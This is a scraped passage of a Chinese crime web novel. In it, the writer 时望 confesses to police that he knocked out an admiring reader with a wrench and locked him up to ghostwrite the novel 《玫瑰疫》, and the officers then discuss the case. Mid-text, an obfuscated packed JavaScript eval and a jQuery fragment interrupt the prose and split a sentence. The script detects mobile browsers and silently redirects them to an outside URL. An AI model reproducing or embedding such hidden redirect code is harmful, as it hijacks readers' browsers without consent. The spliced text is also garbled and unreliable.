张挽卿：“所以，你骗那位长评读者跟你见面，之后你就逼他给你代笔写了《玫瑰疫》？那现在那位读者在哪？你知道他的下落吗？”


    时望靠在椅子上：“本来他是被我关在我家的地下室里，突然有一天，他就不见了，我也不知道他去了哪儿。再后来就是你们看到的这样，电影上映，玫瑰疫在现实中蔓延。”


    张挽卿：“《玫瑰疫》这本小说发表于两年前，大概在一年半以前开始爆红，你应该是在爆红后才有钱买卢旺卡住宅区的房子吧？”


    “那在这之前呢？你住在哪儿？你说你把代笔者关在地下室，是关在你之前的居所吗？”


    时望看了一眼张挽卿，随后点头：“我之前住在青平市周边的村子里，那里房租便宜，反正我也不需要通勤去上班，租在那儿正好。”


    祁渊：“具体的住址呢？哪个村子？哪一户？麻烦说得痛快一点，别我问一句你答一句，挤牙膏挤得我不痛快了，我就让你不痛快。”


    时望轻轻地打了个哆嗦：“新平村，村子里的房子不用数字排号，也不太好形容，你可以村头的快递驿站问我以前住在哪儿，他就会告诉你了。”


    张挽卿想，她和祁渊真有种一个扮红脸一个扮白脸的感觉。


    她接着问：“能不能具体说说你和代笔读者见面的细节？总不可能你让他上你家，他就真的来你家了；你让他去地下室，他就真的去地下室了。”


    时望：“就是这样。”


    张挽卿：“？”


    时望扯了扯嘴角，嘲笑道：“就算在网上被捧成神又怎么样？没脑子货。他想让我给他签名，问我办不办签售会。我说我的书热度虽然高，但没什么人给我花钱，也没有出版社愿意找我。连出版都出版不了，更别说签售会了。”


    “于是他又问我，能不能他自己把这本书印出来，然后来找我，我给他签名。我本来想拒绝，可是他一直缠着我，我就渐渐有了一个想法。”


    “他这么上赶着找我，又这么会写书，我干脆把他骗过来，让他给我写小说，我用他的作品赚钱。本来也是他欠我的，谁让他要踩着我向上爬。于是我就跟他说，可以，但是见面的地点要定在我家。”


    “我虽然有了这个邪恶的想法，但一直以来，我也是个遵纪守法的公民，我心里也只是有个苗头，没想好怎么实施。我甚至还隐隐期待，要是他觉得来我家有点不好，这事儿就算了，我胆子也挺小的，真让我非法拘禁，我也不敢。”


    “万万没想到，他真的来了。他不仅带了一本自己印的书，还给我带了礼物。”


    说到这里，时望偏开头，似乎有些不忍心：“其实看到他那样子，我感觉他这人真挺傻的。他那么苦，连饭都吃不起，家里人肯定也没有教过他为人处事，他没情商也正常。而且他给我带了礼物，应该真的挺喜欢我的。”


    “我在家随便炒了两个菜，我们一起吃了个饭，我就打算让他离开了。到这个时候，我已经不打算实施我那个计划了，难得有这么喜欢我的人。可怪就怪在，他实在是太没有脑子。”


    “我让他走，他不走，反而还教起我怎么写作。他说网上的评论他都看了，有些问题他在看书的时候也发现了。他把书里面存在的问题都列了出来，并写出了解决方案，跟我说，你要这样那样改，下一本小说肯定会好的。”


    “我真的是受够了！网上人人都否定我也就算了，他竟然到我家来指点我！有病吧！我让他帮我了吗？我跟他说想要改变了吗？就算是写不成小说，去我找个工作也行啊！我不走这条路就是了！为什么非要揪着我不放？”


    时望用尽全力吼出这句话：“我只是不那么才华横溢，我到底做错了什么！”


    时望用力喘了几口气，眼睛发红，表情狰狞：“是他逼我的！我都打算放他走了，是他非要留下来的！那就不能怪我了。”


    “我跟他说，我平时喜欢自己做点腌菜吃，新做的腌菜就在地下室。难得他来一趟，我想给他装一点走，他毫不犹豫地就跟我去了地下室。”


    “地下室里放着扳手，我趁着他不注意，用扳手狠狠敲到他的头上，把他给砸晕了。然后我就把他关在我的地下室里，让他给我写小说。”


    “最开始他不愿意，他说他可以教我写。操他妈的，我用得着他教吗！我说不行，你如果不替我写，我就活活把你饿死！饿了那么四五天，他终于明白我是认真的了，开始给我创作。”


    “就这么把他关了九个月，他终于写出了这本旷世神作，《玫瑰疫》。”


    张挽卿越听，眉头皱得越紧：“再然后呢？你拿他的小说发表了，他去哪儿了？”


    时望：“小说版权卖了好多钱，我早就在那个破村子住够了，正好卢旺卡住宅区有人卖房子，拿到钱，我第一时间就去买了豪宅。”


    “我特地在装修的时候打通了负一层，准备了一个地下室，但是没想到，在我忙着新房子装修的时候，他跑了。”


    “我很害怕，我怕他跑出去以后把这件事昭告天下，那我的一切就全完了！所以我专门花钱雇了私家侦探，让人替我去找他。可奇怪的是，私家侦探没有找到他，他竟然也一直没有在网上公布我的秘密。”


    “我想过是不是他对我始终有一份崇拜的情谊在，就算是我做了错事，他也不想伤害我。可我还是提心吊胆，毕竟我关了他九个月。”


    “没想到，他报复我的方式竟然是把玫瑰疫搬到现实生活中！我不知道他是怎么做到的，可他确实让我身败名裂。”


    祁渊：“所以说了这半天，给你代笔的读者叫什么？哪里人？他来找你以后他的家人没有报警吗？”


    时望摇头：“我不知道，他母亲早就没了，父亲也下不了床，或许对他们家来说，少了他一个人也算是解脱吧。”


    “又或者其实他的家人是想找他的，只是没有这个精力，也不知道该怎么办。不是会有那种人害怕警察觉得官吏都是坏人，不敢报警。”


    *


    张挽卿和祁渊是凌晨一点的时候提审的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987320|192439||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    时望，一场审问结束，天已经亮了。


    张挽卿不方便出去乱逛，怕将玫瑰疫传染给别人，便由祁渊出去买早饭，她在车里等。


    此时任务已经过去了一天。


    祁渊带了油条豆浆回来，两人在车里边吃早点边聊。


    祁渊问：“关于时望说的，你有什么想法？”


    张挽卿：“听起来感觉怪怪的，很明显的漏洞有两个：一个是关了九个月的人，他怎么连人家的名字都说不出来？再有一个就是，找人代笔算是很大的秘密了吧？他怎么都不把人看紧一点？这人跑出去了也没个踪影，怪怪的。”


    祁渊：“我也这么觉得，虽然说了一个晚上，但我感觉他嘴里面的实话连一半都没有。”


    张挽卿：“你们警察厅难道就没有什么测谎仪？戳穿他的假话，逼他说实话。”


    祁渊扭头看她：“这就是为什么天亮以后我就把他放回去了，因为他坐的那个椅子能够检测心率，一旦被审讯的人有明显的说谎行为，就会发出警报。”


    张挽卿反应过来了：“说了一个晚上他都脸不红心不跳的，说明测谎装置也检测不出来他说谎了。”


    祁渊：“本来测谎仪也就是个参考，对于心理素质强大、撒谎没有明显生理反应的人也检测不出来什么，我们只能去找更多的佐证。”


    张挽卿：“那你有思路了吗？”


    祁渊：“你呢？”


    “我？”张挽卿惊讶，“这种话题你问我啊？”


    祁渊：“我们两个之所以会坐在车上一起吃早点，不就是因为一起调查玫瑰疫吗？当然是问你了。”


    张挽卿点头：“行。”反正这是祁警官先问她的，不合规矩也不是她的问题，“我觉得，我们应该先去调查给战神小说留长评的读者，看看他姓甚名谁、家住哪里、到底有没有失踪、失踪了的话又是什么时候失踪的？”


    祁渊：“好。”


    张挽卿：“你没有异议吗？”


    祁渊：“我要是说我跟你想的一样，你信吗？”


    张挽卿：“信啊，你不就是干这个吗？”


    祁渊弯了下唇，正要说话，路边的骚动引起了两人的注意。


    “你他妈的！大早上给我冥币，你咒谁呢！”


    早餐店前，围着围裙的老板凶神恶煞，一手拿着铲子，另外一只手正捶着一个中年男人。


    被打的人衣服脏兮兮的，脚上穿着布鞋，看起来像是农民工。


    大约是因为理亏，农民工被打了也不还手，只是一味的解释：“俺不知道这是冥币啊！俺拿的时候不是冥币！”


    祁渊放下早点，推开车门去拉架：“干什么！别动手！”


    早餐店老板一看来人穿着警察制服，赶紧后退：“警察同志，你来得正好，这人大早上吃了我家十个包子，结果结账的时候给了我一张冥币！你好歹给张□□呢，也没这么晦气啊！”


    农民工唯唯诺诺地解释：“之前是俺捡的，俺捡的时候就是人民币，不是冥币！”